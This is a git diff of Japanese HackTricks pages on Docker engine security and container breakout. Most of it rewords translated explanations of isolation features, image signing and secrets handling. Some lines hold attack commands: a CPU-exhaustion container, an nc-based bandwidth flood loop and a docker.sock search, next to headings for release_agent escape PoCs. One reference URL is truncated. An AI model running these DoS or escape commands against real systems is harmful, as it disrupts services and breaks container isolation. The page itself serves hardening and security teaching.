**サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) をご覧ください。独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
- -![](<../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 010491dca..29cfaf300 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,39 +1,40 @@ # Dockerセキュリティ -![](<../../../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
+
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + + ## **基本的なDockerエンジンのセキュリティ** -Dockerエンジンは、コンテナの実行と管理を担当しています。Dockerエンジンは、**Namespaces**と**Cgroups**などのLinuxカーネルの機能を使用して、コンテナ間の基本的な**分離**を提供します。さらに、**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**などの機能を使用して、より良い分離を実現しています。 +Dockerエンジンは、コンテナの実行と管理を担当します。Dockerエンジンは、**Namespaces**と**Cgroups**などのLinuxカーネルの機能を使用して、コンテナ間の基本的な**分離**を提供します。さらに、**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**などの機能を使用して、より良い分離を実現します。 最後に、**認証プラグイン**を使用して、ユーザーが実行できるアクションを**制限**することができます。 ![](<../../../.gitbook/assets/image (625) (1) (1).png>) -### **Dockerエンジンへの安全なアクセス** +### **Dockerエンジンの安全なアクセス** Dockerクライアントは、Unixソケットを使用してDockerエンジンに**ローカルでアクセス**するか、httpメカニズムを使用して**リモートでアクセス**することができます。リモートで使用する場合は、httpsと**TLS**を使用して機密性、整合性、および認証を確保する必要があります。 デフォルトでは、Unixソケット`unix:///var/`\ -`run/docker.sock`でリッスンし、Ubuntuディストリビューションでは、Dockerの起動オプションは`/etc/default/docker`に指定されています。Docker APIとクライアントがDockerエンジンにリモートでアクセスできるようにするには、**httpソケットを使用してDockerデーモンを公開する必要があります**。これは次のように行うことができます: +`run/docker.sock`でリッスンし、Ubuntuディストリビューションでは、Dockerの起動オプションは`/etc/default/docker`に指定されています。Docker APIとクライアントがリモートでDockerエンジンにアクセスできるようにするには、Dockerデーモンをhttpソケットで**公開する必要があります**。これは次のように行うことができます: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" -> add this to /etc/default/docker @@ -87,14 +88,14 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` ### Dockerイメージの署名 -Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの発行者は、コンテナイメージの署名とレジストリへのプッシュを管理します。 +Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの提供者は、コンテナイメージの署名とレジストリへのプッシュを管理します。 以下は、Dockerコンテンツの信頼性に関する詳細です: - Dockerコンテンツの信頼性は、[Notaryオープンソースプロジェクト](https://github.com/docker/notary)の実装です。Notaryオープンソースプロジェクトは、[The Update Framework (TUF)プロジェクト](https://theupdateframework.github.io)に基づいています。 -- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトでは有効になっていません。 +- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトで有効になっていません。 - コンテンツの信頼性が有効になっている場合、署名されたイメージのみをプルすることができます。イメージをプッシュする際には、タグキーを入力する必要があります。 -- 発行者が初めてdocker pushを使用してイメージをプッシュする場合、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。 +- パブリッシャーが初めてdocker pushを使用してイメージをプッシュするときには、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。 - Dockerは、Yubikeyを使用したハードウェアキーのサポートも追加しており、詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。 以下は、コンテンツの信頼性が有効になっており、イメージが署名されていない場合に表示されるエラーメッセージです。 @@ -122,7 +123,7 @@ cp ~/.ssh/id_rsa.pub /path/to/backup/location cp ~/.ssh/known_hosts /path/to/backup/location ``` -これにより、プライベートキーと既知のホスト情報がバックアップされます。 +これにより、プライベートキーと関連するファイルがバックアップされます。 ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` @@ -130,7 +131,7 @@ Dockerホストを変更した際、新しいホストから操作するため *** -![](<../../../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ @@ -146,18 +147,18 @@ Dockerホストを変更した際、新しいホストから操作するため **ネームスペース** -ネームスペースは、プロセス間の通信、ネットワーク、マウントなどを分離するために役立ちます。Dockerプロセスを他のプロセス(さらには/procフォルダ)から分離するために使用されます。 +ネームスペースは、プロジェクトを他のプロジェクトから分離し、プロセス間通信、ネットワーク、マウントを分離するために役立ちます。Dockerプロセスを他のプロセス(そして/procフォルダさえも)から分離するために使用することができます。 -バイナリの**`unshare`**(**`unshare`**シスコールを使用)を使用して、新しいネームスペースを作成することが可能です。Dockerはデフォルトでこれを防止していますが、kubernetesは(この記述時点では)防止していません。\ -とはいえ、これは新しいネームスペースを作成するのに役立ちますが、ホストのデフォルトのネームスペースに戻ることはできません(ホストのネームスペース内のいくつかの`/proc`にアクセスできる場合は、**`nsenter`**を使用してホストのネームスペースに入ることができます)。 +バイナリの**`unshare`**(**`unshare`**シスコールを使用する)を使用して、新しいネームスペースを作成することが可能です。Dockerはデフォルトでこれを防止していますが、kubernetesは(この記述時点では)防止していません。\ +とにかく、これは新しいネームスペースを作成するのに役立ちますが、**ホストのデフォルトのネームスペースに戻ることはできません**(ホストのネームスペース内のいくつかの`/proc`にアクセスできる場合は、**`nsenter`**を使用してホストのネームスペースに入ることができます)。 **CGroups** -これにより、リソースを制限することができ、プロセスの分離のセキュリティには影響しません(ただし、脱出に使用できる`release_agent`には影響を与える可能性があります)。 +これにより、リソースを制限することができ、プロセスの分離のセキュリティには影響しません(`release_agent`は脱出に使用される可能性があります)。 **Capabilitiesの削除** -プロセスの分離セキュリティに関して、これは**最も重要な**機能の1つだと考えています。これは、プロセスがrootとして実行されていても、必要な権限を持っていないため、特権のあるアクションを実行できないことがあるからです(呼び出された**`syscall`**が権限エラーを返すため)。 +プロセスの分離セキュリティに関して、これは**最も重要な**機能の1つだと考えています。これは、プロセスがrootとして実行されていても、必要な権限を持っていないため、特権のあるアクションを実行できないからです(呼び出された**`syscall`**が権限エラーを返すため)。 これは、プロセスが他の権限を削除した後の**残りの権限**です: @@ -182,7 +183,7 @@ Dockerには、アクティベートできるテンプレートがあります ### Namespaces -**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。 +**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割する機能です。この機能は、同じ名前空間を持つリソースとプロセスがあるが、それらの名前空間は異なるリソースを参照するようになっています。リソースは複数のスペースに存在する場合があります。 Dockerは、コンテナの分離を実現するために、次のLinuxカーネルのNamespacesを使用しています: @@ -200,8 +201,8 @@ Dockerは、コンテナの分離を実現するために、次のLinuxカーネ ### cgroups -Linuxカーネルの機能である**cgroups**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。Dockerでは、cgroup機能を使用してリソース制御を行うことができるコンテナを作成することができます。\ -以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定し、blkioweightを400に設定したコンテナの例です。CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。CPUリソースの競合が発生した場合、3つのコンテナが同じCPUシェア1024を持っている場合、各コンテナは最大33%のCPUを使用できます。blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。 +Linuxカーネルの機能である**cgroups**は、一連のプロセスの間でCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。 Dockerでは、cgroup機能を使用してリソース制御を行うことができるコンテナを作成することができます。\ +以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定したコンテナの例です。CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。3つのコンテナが同じCPUシェア1024を持っている場合、CPUリソースの競合が発生した場合、各コンテナは最大33%のCPUを使用できます。blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。 ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -219,9 +220,9 @@ ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the ### Capabilities -Capabilitiesは、rootユーザーに許可される可能性のある機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。 +Capabilitiesは、rootユーザーに許可されるcapabilitiesをより細かく制御することができます。DockerはLinuxカーネルのcapability機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。 -Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようになります。 +Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機密のcapabilitiesを削除します。これにより、プロセスが機密のアクションを実行して脱出することができないようになります。 {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -229,7 +230,7 @@ Dockerコンテナが実行されると、プロセスは分離から脱出す ### DockerにおけるSeccomp -これは、コンテナ内で使用できるシスコールを制限するセキュリティ機能です。 +これは、Dockerがコンテナ内で使用できるsyscallsを制限するセキュリティ機能です。 {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) @@ -245,7 +246,7 @@ AppArmorは、カーネルの拡張機能であり、コンテナを制限され ### DockerにおけるSELinux -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとのプロセスラベルが許可される操作に関するルールを定義します。 +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとプロセスラベルが許可される操作に関するルールを定義します。 コンテナエンジンは、通常`container_t`という単一の制約付きSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルでラベル付けします。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルを読み取り/書き込み/実行できるということを示しています。 @@ -273,7 +274,22 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -* バンド幅 DoS +# バンド幅 DoS + +バンド幅 DoS(Denial of Service)は、攻撃者がターゲットのネットワークやシステムに対して、大量のトラフィックを送信することによって、サービスの提供を妨害する攻撃手法です。 + +攻撃者は、高帯域幅のネットワーク接続を利用して、ターゲットのネットワークに大量のデータを送信します。これにより、ネットワークの帯域幅が飽和し、正規のトラフィックが遮断されます。結果として、サービスの提供が停止し、ユーザーはサービスにアクセスできなくなります。 + +バンド幅 DoS 攻撃は、ネットワークの帯域幅を効果的に利用するため、攻撃者によって容易に実行されることがあります。この攻撃手法は、ネットワークの脆弱性を悪用することなく、サービスの停止を引き起こすため、対策が重要です。 + +バンド幅 DoS 攻撃に対する対策としては、以下のような手法があります。 + +- ファイアウォールやIPS(Intrusion Prevention System)を使用して、不正なトラフィックを検出およびブロックする。 +- ネットワークのトラフィックを監視し、異常なトラフィックを検知するシステムを導入する。 +- ネットワークの帯域幅を適切に管理し、トラフィックの過負荷を防ぐ。 +- クラウドプロバイダやネットワークサービスプロバイダによるトラフィックのフィルタリングや制限を利用する。 + +バンド幅 DoS 攻撃は、ネットワークやシステムの可用性に重大な影響を与える可能性があるため、セキュリティ対策を適切に実施することが重要です。 ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` @@ -338,9 +354,9 @@ By following these additional steps, you can enhance the security of your Docker また、**環境変数を使用しても、機密情報を保護することはできません**。`docker inspect`や`exec`を実行できる人は、シークレットを見つけることができます。 -Dockerボリュームの方が良いです。Dockerドキュメントでは、機密情報にアクセスするための推奨方法としてボリュームを使用することを勧めています。ボリュームは、`docker inspect`やログのリスクを除去します。ただし、**rootユーザーやコンテナに`exec`できる人は、シークレットを見ることができます**。 +Dockerボリュームの使用がおすすめです。Dockerドキュメントでは、機密情報にアクセスするための推奨方法としてボリュームを使用することを勧めています。ボリュームは、`docker inspect`やログのリスクを除去します。ただし、**rootユーザーやコンテナに`exec`できる人は、シークレットを見ることができます**。 -ボリュームよりもさらに良いのは、Dockerシークレットを使用することです。 +ボリュームよりもさらに良い方法として、Dockerシークレットを使用してください。 **イメージ内でシークレットが必要な場合**は、BuildKitを使用することができます。BuildKitはビルド時間を大幅に短縮するだけでなく、ビルド時のシークレットのサポートを含む他の便利な機能も備えています。 @@ -377,9 +393,9 @@ secrets: my_secret: file: ./my_secret_file.txt ``` -次に、通常通り`docker-compose up --build my_service`でComposeを起動します。 +次に、通常通り `docker-compose up --build my_service` でComposeを起動します。 -[Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/)を使用している場合、シークレットのサポートがあります。[Helm-Secrets](https://github.com/futuresimple/helm-secrets)は、Kubernetesでのシークレット管理を容易にするのに役立ちます。さらに、KubernetesとDocker Enterpriseの両方には、ロールベースのアクセス制御(RBAC)があります。RBACにより、チームのシークレット管理がより管理しやすく、より安全になります。 +[Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/)を使用している場合、シークレットのサポートがあります。[Helm-Secrets](https://github.com/futuresimple/helm-secrets)は、Kubernetesでのシークレット管理を容易にするのに役立ちます。さらに、KubernetesとDocker Enterpriseの両方には、ロールベースのアクセス制御(RBAC)があります。RBACにより、チームにとってシークレットの管理がより簡単で安全になります。 ### gVisor @@ -389,7 +405,7 @@ file: ./my_secret_file.txt ### Kata Containers -**Kata Containers**は、軽量な仮想マシンを使用して、コンテナのように感じてパフォーマンスが向上するセキュアなコンテナランタイムを構築するためのオープンソースコミュニティです。これにより、**ハードウェア仮想化技術を使用してより強力なワークロードの分離**が提供されます。 +**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを提供しながら、**ハードウェア仮想化技術を使用してより強力なワークロードの分離**を提供するために取り組んでいるオープンソースのコミュニティです。 {% embed url="https://katacontainers.io/" %} @@ -401,18 +417,18 @@ file: ./my_secret_file.txt * [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスが特権を取得するのを防止してください。たとえば、suidバイナリを介して特権を取得することがあります。 * [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**してください**。リソース制限は、サービス拒否攻撃からマシンを保護することができます。 * **[seccomp](https://docs.docker.com/engine/security/seccomp/)**、**[AppArmor](https://docs.docker.com/engine/security/apparmor/)**(またはSELinux)プロファイルを調整して、コンテナで使用可能なアクションとシスコールを最小限に制限してください。 -* [**公式のDockerイメージ**](https://docs.docker.com/docker-hub/official\_images/)を使用し、署名を要求するか、それらを基に独自のイメージをビルドしてください。バックドアが仕込まれたイメージを継承または使用しないでください。また、ルートキーとパスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する予定です。 +* [**公式のDockerイメージ**](https://docs.docker.com/docker-hub/official_images/)を使用し、署名を要求するか、それらを基に独自のイメージをビルドしてください。バックドアが仕込まれたイメージを継承または使用しないでください。また、ルートキーとパスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する予定です。 * 定期的にイメージを再ビルドして、ホストとイメージにセキュリティパッチを適用してください。 * シークレットを適切に管理し、攻撃者がアクセスしにくいようにしてください。 * Dockerデーモンを公開する場合は、クライアントとサーバーの認証にHTTPSを使用してください。 -* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にzipファイルを展開し、URLからファイルをコピーすることができます。COPYにはこれらの機能がありません。可能な限り、リモートURLやZipファイルを介した攻撃に対して脆弱にならないように、ADDの使用を避けてください。 +* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にZIPファイルを展開し、リモートURLやZIPファイルを介して攻撃を受ける可能性があります。COPYにはこれらの機能がありません。可能な限りADDを使用せず、リモートURLやZIPファイルを介した攻撃に対して脆弱にならないようにしてください。 * 各マイクロサービスには**個別のコンテナ**を使用してください。 * コンテナ内にsshを配置しないでください。コンテナへのsshは「docker exec」を使用して行うことができます。 * **より小さな**コンテナ**イメージ**を使用してください。 ## Dockerの脱獄/特権エスカレーション -もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます: +もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます。 {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) @@ -420,7 +436,7 @@ file: ./my_secret_file.txt ## Docker認証プラグインのバイパス -もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーであるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください: +もしdockerソケットにアクセス権限があるか、dockerグループのユーザーにアクセス権限があるが、docker認証プラグインによって制限されている場合、**バイパス**できるかどうかを確認してください。 {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -429,27 +445,26 @@ file: ./my_secret_file.txt ## Dockerのハードニング * ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ -ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 +ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください:[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 ## 参考文献 * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) -* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020 -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** - - - -![](<../../../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +* [https://ajxchapman.github.io/containers/2020/11 +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。 + +
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index dac17b06c..dba06e6f7 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -12,7 +12,7 @@ -![](<../../../../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ @@ -30,8 +30,8 @@ ## マウントされたDockerソケットの脱出 -もし何らかの理由で、Dockerコンテナ内に**Dockerソケットがマウントされている**ことがわかった場合、それから脱出することができます。\ -これは通常、何らかの理由でDockerデーモンに接続してアクションを実行する必要があるDockerコンテナで発生します。 +もし、Dockerコンテナ内に**Dockerソケットがマウントされている**ことがわかった場合、それから脱出することができます。\ +これは通常、何らかの理由でDockerコンテナがDockerデーモンに接続してアクションを実行する必要がある場合に起こります。 ```bash #Search the socket find / -name docker.sock 2>/dev/null @@ -154,9 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### 特権エスケープ既存のrelease\_agentの悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1 +#### 特権エスケープ - 既存のrelease\_agentの悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1 -{% code title="初期PoC" %} +{% code title="初期のPoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -236,15 +236,15 @@ cat /output ``` {% endcode %} -**技術の説明**は以下で見つけることができます: +以下は、特権エスケープの説明があります: {% content-ref url="docker-release_agent-cgroups-escape.md" %} [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### プライビリージエスケープ - 相対パスを知らないで release\_agent を悪用する - PoC3 +#### プライビリージエスケープ:相対パスが不明な場合のrelease\_agentの悪用 - PoC3 -以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが漏洩**していました。しかし、常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**には、この技術を使用できます: +以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが公開**されていました。しかし、常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**には、このテクニックを使用できます: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) @@ -338,7 +338,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### 特権エスケープと感度の高いマウントの悪用 